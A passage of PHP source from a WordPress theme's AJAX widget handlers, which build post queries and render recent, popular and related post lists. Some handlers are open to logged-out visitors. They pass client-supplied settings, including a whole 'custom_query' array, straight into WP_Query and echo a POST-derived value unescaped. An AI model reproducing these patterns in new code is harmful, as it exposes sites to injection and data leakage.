	if ( ! $ptype ): $ptype = 'post'; endif;
	$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
	$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
	$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value = ( false == $sticky ) ? 0 : 1;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
	$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
	$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
	$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
	$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
	$alt_style    = ! empty( $instance['altstyle'] ) ? $instance['altstyle'] : false;

	if ( isset( $instance['custom_query'] ) && $instance['custom_query'] ) {
		$query  = $instance['custom_query'];
		$number = $query['posts_per_page'];
	} else {
		$query = array(
			'posts_per_page'      => $number,
			'post_type'           => $ptype,
			'ignore_sticky_posts' => $sticky_value
		);


		if ( isset( $instance['cats_id'] ) ) {
			if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
				$query['category__in'] = $cats_id;
			}
		} else {
			$term_name = get_cat_name( $categories );
			$term      = term_exists( $term_name, 'category' );

			if ( $term !== 0 && $term !== null ) {
				$query['cat'] = $categories;
			}
		}

		if ( ! empty( $tags_id ) ) {
			if ( ! in_array( 'all', $tags_id ) ) {
				$query['tag__in'] = $tags_id;
			}
		}

		if ( $orderby ) {
			$query['orderby'] = $orderby;
		}
		if ( $order ) {
			$query['order'] = $order;
		}
		if ( $offset ) {
			$query['offset'] = $offset;
		}

		if ( $taxonomy && ( 'post' != $ptype ) ) {
			$taxonomy  = str_replace( ' ', '', $taxonomy );
			$tax_array = explode( ',', $taxonomy );

			foreach ( $tax_array as $tax ) {
				$tax_ids_array = array();
				if ( $tax_ids ) {
					$tax_ids       = str_replace( ' ', '', $tax_ids );
					$tax_ids_array = explode( ',', $tax_ids );
				} else {
					$get_all_terms = get_terms( $tax );
					if ( ! empty( $get_all_terms ) ) {
						foreach ( $get_all_terms as $term ) {
							$tax_ids_array[] = $term->term_id;
						}
					}
				}

				if ( ! empty( $tax_ids_array ) ) {
					$query['tax_query'][] = array(
						'taxonomy' => $tax,
						'field'    => 'term_id',
						'terms'    => $tax_ids_array
					);
				}
			}
		}

	}

	if ( $paged ) {
		$query['paged'] = $paged;
	}


	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :

		?>
        <ul class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
			if ( $featured ) {
				echo ' penci-2columns-featured';
			} else {
				echo ' penci-2columns-feed';
			} endif;
		if ( $showborder ) {
			echo ' penci-rcpw-hborders';
		}
		if ( $dotstyle ) {
			echo ' pctlst pctl-' . $dotstyle;
		} ?>">
			<?php $num = 1;
			while ( $loop->have_posts() ) : $loop->the_post(); ?>
                <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
					if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
					<?php if ( $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                        <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num + ( ( $paged - 1 ) * $number ) ); ?></span>
								</span>
					<?php endif; ?>
                    <div class="side-item">
						<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                            <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
								<?php
								$size_pie = 'small';
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
								do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
								/* Display Review Piechart  */
								if ( function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), $size_pie );
								}
								$thumb = penci_featured_images_size( 'small' );
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
								if ( $image_type == 'horizontal' ) {
									$thumb = 'penci-thumb-small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
								} elseif ( $image_type == 'square' ) {
									$thumb = 'penci-thumb-square';
								} elseif ( $image_type == 'vertical' ) {
									$thumb = 'penci-thumb-vertical';
								}
								?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
									echo '';
								} else {
									echo ' small-fix-size';
								} ?>" rel="bookmark"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                </a>


								<?php if ( $icon ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="side-item-text">
							<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>

                            <h4 class="side-title-post">
                                <a href="<?php the_permalink() ?>" rel="bookmark"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php
									if ( ! $title_length || ! is_numeric( $title_length ) ) {
										if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
										} else {
											the_title();
										}
									} else {
										echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
									}
									?>
                                </a>
                            </h4>
							<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </li>
				<?php $num ++; endwhile; ?>
        </ul>
		<?php
		wp_reset_postdata();
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_popular_news_ajax', 'penci_popular_news_ajax' );
add_action( 'wp_ajax_penci_popular_news_ajax', 'penci_popular_news_ajax' );
function penci_popular_news_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	/* Our variables from the widget settings. */
	$instance   = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance   = json_decode( $instance, true );
	$paged      = $_POST['paged'];
	$type       = isset( $instance['type'] ) ? $instance['type'] : '';
	$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
	$number     = isset( $instance['number'] ) ? $instance['number'] : '';
	$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
	$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
	if ( ! $ptype ): $ptype = 'post'; endif;
	$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
	$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
	$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value = ( false == $sticky ) ? 0 : 1;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
	$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
	$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
	$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
	$alt_style    = ! empty( $instance['altstyle'] ) ? $instance['altstyle'] : false;

	$query = array(
		'meta_key'            => penci_get_postviews_key(),
		'orderby'             => 'meta_value_num',
		'order'               => 'DESC',
		'posts_per_page'      => $number,
		'post_type'           => $ptype,
		'ignore_sticky_posts' => $sticky_value
	);

	if ( $paged ) {
		$query['paged'] = $paged;
	}

	if ( $type == 'week' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_week_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $type == 'month' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_month_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $type == 'jetpack' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => '_jetpack_post_view',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	}

	if ( 'post' == $ptype ) {
		if ( isset( $instance['cats_id'] ) ) {
			if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
				$query['tax_query'][] = [
					'taxonomy' => 'category',
					'field'    => 'term_id',
					'terms'    => $cats_id,
				];
			}
		} else {
			if ( $categories ) {
				$query['cat'] = $categories;
			}
		}

		if ( ! empty( $tags_id ) ) {
			if ( ! in_array( 'all', $tags_id ) ) {
				$query['tax_query'][] = [
					'taxonomy' => 'post_tag',
					'field'    => 'term_id',
					'terms'    => $tags_id,
				];
			}
		}
	}

	if ( $offset ) {
		$query['offset'] = $offset;
	}

	if ( $taxonomy && ( 'post' != $ptype ) ) {
		$taxonomy  = str_replace( ' ', '', $taxonomy );
		$tax_array = explode( ',', $taxonomy );

		foreach ( $tax_array as $tax ) {
			$tax_ids_array = array();
			if ( $tax_ids ) {
				$tax_ids       = str_replace( ' ', '', $tax_ids );
				$tax_ids_array = explode( ',', $tax_ids );
			} else {
				$get_all_terms = get_terms( $tax );
				if ( ! empty( $get_all_terms ) ) {
					foreach ( $get_all_terms as $term ) {
						$tax_ids_array[] = $term->term_id;
					}
				}
			}

			if ( ! empty( $tax_ids_array ) ) {
				$query['tax_query'][] = array(
					'taxonomy' => $tax,
					'field'    => 'term_id',
					'terms'    => $tax_ids_array
				);
			}
		}
	}

	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :
		$rand = rand( 1000, 10000 );


		?>
        <ul id="penci-popularwg-<?php echo sanitize_text_field( $rand ); ?>"
            class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
			    if ( $featured ) {
				    echo ' penci-2columns-featured';
			    } else {
				    echo ' penci-2columns-feed';
			    } endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
		    if ( $dotstyle ) {
			    echo ' pctlst pctl-' . $dotstyle;
		    } ?>">

			<?php $num = 1;
			while ( $loop->have_posts() ) : $loop->the_post(); ?>

                <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
					if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
					<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                        <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num + ( ( $paged - 1 ) * $number ) ); ?></span>
								</span>
					<?php endif; ?>
                    <div class="side-item">
						<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                            <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
								<?php
								$size_pie = 'small';
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
								do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
								/* Display Review Piechart  */
								if ( function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), $size_pie );
								}
								$thumb = penci_featured_images_size( 'small' );
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
								if ( $image_type == 'horizontal' ) {
									$thumb = 'penci-thumb-small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
								} elseif ( $image_type == 'square' ) {
									$thumb = 'penci-thumb-square';
								} elseif ( $image_type == 'vertical' ) {
									$thumb = 'penci-thumb-vertical';
								}
								?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
									echo '';
								} else {
									echo ' small-fix-size';
								} ?>" rel="bookmark"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                </a>


								<?php if ( $icon ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="side-item-text">
							<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>

                            <h4 class="side-title-post">
                                <a href="<?php the_permalink() ?>" rel="bookmark"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php
									if ( ! $title_length || ! is_numeric( $title_length ) ) {
										if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
										} else {
											the_title();
										}
									} else {
										echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
									}
									?>
                                </a>
                            </h4>
							<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </li>
				<?php $num ++; endwhile; ?>
        </ul>
		<?php

		wp_reset_postdata();
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_related_news_widget_ajax', 'penci_related_news_widget_ajax' );
add_action( 'wp_ajax_penci_related_news_widget_ajax', 'penci_related_news_widget_ajax' );
function penci_related_news_widget_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );

	/* Our variables from the widget settings. */
	$instance     = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance     = json_decode( $instance, true );
	$paged        = $_POST['paged'];
	$post_id      = $_POST['id'];
	$type         = isset( $instance['type'] ) ? $instance['type'] : 'categories';
	$orderby      = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
	$order        = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
	$number       = isset( $instance['number'] ) ? $instance['number'] : 5;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';

	$args = penci_get_query_related_posts( $post_id, $type, $orderby, $order, $number );

	if ( ! empty( $args ) ) {

		$args['paged'] = $paged;

		$loop = new WP_Query( $args );
		if ( $loop->have_posts() ) :
			?>
            <ul class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
				if ( $featured ) {
					echo ' penci-2columns-featured';
				} else {
					echo ' penci-2columns-feed';
				} endif;
			if ( $dotstyle ) {
				echo ' pctlst pctl-' . $dotstyle;
			} ?>">
				<?php $num = 1;
				while ( $loop->have_posts() ) : $loop->the_post(); ?>
                    <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
						if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
                        <div class="side-item">

							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
                                <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
									<?php
									$size_pie = 'small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
									do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
									/* Display Review Piechart  */
									if ( function_exists( 'penci_display_piechart_review_html' ) ) {
										penci_display_piechart_review_html( get_the_ID(), $size_pie );
									}
									$thumb = penci_featured_images_size( 'small' );
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
									if ( $image_type == 'horizontal' ) {
										$thumb = 'penci-thumb-small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
									} elseif ( $image_type == 'square' ) {
										$thumb = 'penci-thumb-square';
									} elseif ( $image_type == 'vertical' ) {
										$thumb = 'penci-thumb-vertical';
									}
									?>

                                    <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
										echo '';
									} else {
										echo ' small-fix-size';
									} ?>" rel="bookmark"
                                       href="<?php the_permalink(); ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                    </a>


									<?php if ( $icon ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
										<?php endif; ?>
									<?php endif; ?>
                                </div>
							<?php endif; ?>
                            <div class="side-item-text">
								<?php if ( $movemeta && ! $postdate ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
                                        <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                                <h4 class="side-title-post">
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php
										if ( ! $title_length || ! is_numeric( $title_length ) ) {
											if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
											} else {
												the_title();
											}
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										}
										?>
                                    </a>
                                </h4>
								<?php if ( ! $movemeta && ! $postdate ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
                                        <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </li>
					<?php $num ++; endwhile; ?>
            </ul>
			<?php
			wp_reset_postdata();
		endif;
	}
	die();
}

add_action( 'wp_ajax_nopriv_penci_posts_tabs_widget_ajax', 'penci_posts_tabs_widget_ajax' );
add_action( 'wp_ajax_penci_posts_tabs_widget_ajax', 'penci_posts_tabs_widget_ajax' );
function penci_posts_tabs_widget_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	$instance      = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance      = json_decode( $instance, true );
	$paged         = $_POST['paged'];
	$type          = $_POST['type'];
	$sticky        = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value  = ( false == $sticky ) ? 0 : 1;
	$popular_order = isset( $instance['popular_order'] ) ? $instance['popular_order'] : 'all';
	$number        = isset( $instance['number'] ) ? $instance['number'] : '5';
	$offset        = isset( $instance['offset'] ) ? $instance['offset'] : '';
